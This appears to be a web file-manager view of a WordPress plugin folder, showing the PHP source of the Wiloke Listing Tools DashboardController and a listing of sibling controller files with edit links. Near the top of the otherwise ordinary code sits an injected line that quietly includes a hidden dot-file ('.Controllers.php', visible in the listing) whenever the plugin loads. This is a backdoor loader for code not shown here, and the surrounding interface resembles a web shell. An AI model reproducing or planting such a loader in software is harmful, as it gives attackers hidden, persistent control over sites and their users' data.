PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Framework\Helpers\Firebase; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Frontend\User; use WilokeListingTools\Models\EventModel; use WilokeListingTools\Models\MessageModel; use WilokeListingTools\Models\FavoriteStatistic; use WilokeListingTools\Framework\Routing\Controller; use WilokeListingTools\Models\NotificationsModel; use WilokeListingTools\Models\ReviewModel; use WilokeThemeOptions; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class DashboardController extends Controller { private static $aEndpoint = [ 'favorites' => 'favorites', 'profile' => 'get-profile', 'messages' => 'messages', 'listings' => 'listings', 'events' => 'events', 'reviews' => 'reviews', 'notifications' => 'notifications', 'dokan' => 'dokan/sub-menus' ]; public function __construct() { add_action('wp_ajax_dashboard_menu', [$this, 'fetchDashboardMenu']); add_action('wp_ajax_wilcity_fetch_general_status_statistics', [$this, 'fetchGeneralStatusStatistics']); add_action('wp_enqueue_scripts', [$this, 'enqueueScripts']); add_action('wilcity/theme-options/configurations', [$this, 'addDashboardThemeOptions']); } public function addDashboardThemeOptions($aThemeOptions) { $aThemeOptions['dashboard_settings'] = wilokeListingToolsRepository()->get('dashboard:themeoptions'); return $aThemeOptions; } /* * 1. All * 2. Event Only * 3. Excepet Event */ public static function countPostStatus($postStatus, $posttypeType = 3) { switch ($posttypeType) { case 1: $aPostTypes = GetSettings::getFrontendPostTypes(true, true); break; case 2: $aPostTypes = ['event']; break; case 3: $aPostTypes = GetSettings::getFrontendPostTypes(true, false); break; default: $aPostTypes = GetSettings::getFrontendPostTypes(true, true); break; } switch ($postStatus) { case 'up_coming_events': $count = EventModel::countUpcomingEventsOfAuthor(User::getCurrentUserID()); return empty($count) ? 0 : abs($count); break; case 'on_going_events': $count = EventModel::countOnGoingEventsOfAuthor(User::getCurrentUserID()); return empty($count) ? 0 : abs($count); break; case 'expired_events': $count = EventModel::countExpiredEventsOfAuthor(User::getCurrentUserID()); return empty($count) ? 0 : abs($count); break; } $postTypeKeys = '("'.implode('","', $aPostTypes).'")'; global $wpdb; $total = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT($wpdb->posts.ID) FROM $wpdb->posts WHERE $wpdb->posts.post_type IN $postTypeKeys AND $wpdb->posts.post_status=%s AND $wpdb->posts.post_author=%d", $postStatus, User::getCurrentUserID() ) ); return empty($total) ? 0 : abs($total); } public static function getPostStatuses($hasAny = false) { $aData = [ [ 'label' => esc_html__('Published', 'wiloke-listing-tools'), 'icon' => 'la la-share-alt', 'bgColor' => 'bg-gradient-1', 'id' => 'publish', 'total' => 0 ], [ 'label' => esc_html__('In Review', 'wiloke-listing-tools'), 'icon' => 'la la-refresh', 'bgColor' => 'bg-gradient-2', 'id' => 'pending', 'total' => 0 ], [ 'label' => esc_html__('Unpaid', 'wiloke-listing-tools'), 'icon' => 'la la-money', 'bgColor' => 'bg-gradient-3', 'id' => 'unpaid', 'total' => 0 ], [ 'label' => esc_html__('Expired', 'wiloke-listing-tools'), 'icon' => 'la la-exclamation-triangle', 'bgColor' => 'bg-gradient-4', 'id' => 'expired', 'total' => 0 ] ]; if ($hasAny) { $aData = array_merge([ [ 'label' => esc_html__('Any', 'wiloke-listing-tools'), 'icon' => 'la la-globe', 'bgColor' => 'bg-gradient-1', 'id' => 'any', 'total' => 0 ], ], $aData); } return apply_filters('wilcity/dashboard/general-listing-status-statistic', $aData); } public function fetchGeneralStatusStatistics() { $this->middleware(['canSubmissionListing'], []); $aData = self::getPostStatuses(); $totalPostStatus = count($aData); foreach ($aData as $order => $aInfo) { $aData[$order]['total'] = self::countPostStatus($aInfo['id'], 3); if ($totalPostStatus == 3) { $aData[$order]['wrapperClasses'] = 'col-sm-6 col-md-4 col-lg-4'; } else { $aData[$order]['wrapperClasses'] = 'col-sm-6 col-md-3 col-lg-3'; } } wp_send_json_success($aData); } public function enqueueScripts() { wp_localize_script('jquery-migrate', 'WIL_DASHBOARD', [ 'postStatuses' => self::getPostStatuses(true) ]); } public static function getNavigation($userID = null) { $aNavigation = wilokeListingToolsRepository()->get('dashboard:aNavigation'); if (!WilokeThemeOptions::isEnable('listing_toggle_favorite')) { unset($aNavigation['favorites']); } $aDokanDashboardPage = GetSettings::getDokanPages(true); if ($aDokanDashboardPage) { $aNavigation['dokan'] = [ 'name' => $aDokanDashboardPage['title'], 'icon' => 'la la-shopping-cart', 'endpoint' => 'dokan/sub-menus', 'redirectTo' => $aDokanDashboardPage['permalink'], 'externalLinkTarget' => '_self', 'externalLink' => $aDokanDashboardPage['permalink'] ]; } if (empty($aNavigation)) { return false; } $userID = empty($userID) ? User::getCurrentUserID() : $userID; if (!User::canSubmitListing($userID)) { $aNavigation = array_filter($aNavigation, function ($aItem, $key) { if (in_array($key, ['favorites', 'messages', 'profile'])) { return true; } }, ARRAY_FILTER_USE_BOTH); } foreach ($aNavigation as $key => $aItem) { if (!isset($aItem['endpoint'])) { if (isset(self::$aEndpoint[$key])) { $aNavigation[$key]['endpoint'] = self::$aEndpoint[$key]; } else { $aNavigation[$key]['endpoint'] = ''; } } switch ($key) { case 'favorites': $aNavigation[$key]['count'] = absint(FavoriteStatistic::countMyFavorites($userID)); break; case 'messages': $aNavigation[$key]['count'] = absint(MessageModel::countUnReadMessages($userID)); break; case 'listings': unset($aNavigation[$key]); $aPostTypes = General::getPostTypes(false, false); $aPostTypes = array_map(function ($aPostType) { if ($aPostType['endpoint'] === 'events') { return $aPostType; } $aPostType['params'] = [ 'postType' => $aPostType['postType'], 'endpoint' => $aPostType['postType'] ]; $aPostType['routeName'] = 'listings'; $aPostType['webEndpoint'] = 'listings/'.$aPostType['postType']; return $aPostType; }, $aPostTypes); $aNavigation = array_merge($aNavigation, $aPostTypes); break; case 'notifications': $aNavigation[$key]['count'] = absint(GetSettings::getUserMeta($userID, NotificationsModel::$countNewKey)); break; } } $aNavigation = apply_filters('wilcity/dashboard/navigation', $aNavigation, $userID); if (has_filter('wilcity/dashboard/navigation')) { $aNavigation = array_map(function ($aItem) { if (isset($aItem['redirect']) && strpos($aItem['redirect'], 'http') === 0) { if (!isset($aItem['externalLinkTarget'])) { $aItem['externalLinkTarget'] = '_blank'; } } return $aItem; }, $aNavigation); } $aNavigation['logout'] = [ 'icon' => 'la la-sign-out', 'externalLink' => wp_logout_url(), 'endpoint' => 'dashboard', 'externalLinkTarget' => '_self', 'isExcludeFromApp' => false, 'name' => esc_html__('Logout', 'wiloke-listing-tools') ]; return $aNavigation; } public function fetchDashboardMenu() { $oRetrieve = new RetrieveController(new AjaxRetrieve()); if (!is_user_logged_in()) { $oRetrieve->error([]); } $oRetrieve->success([ 'items' => self::getNavigation(), 'rootUrl' => GetWilokeSubmission::getField('dashboard_page', true) ]); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]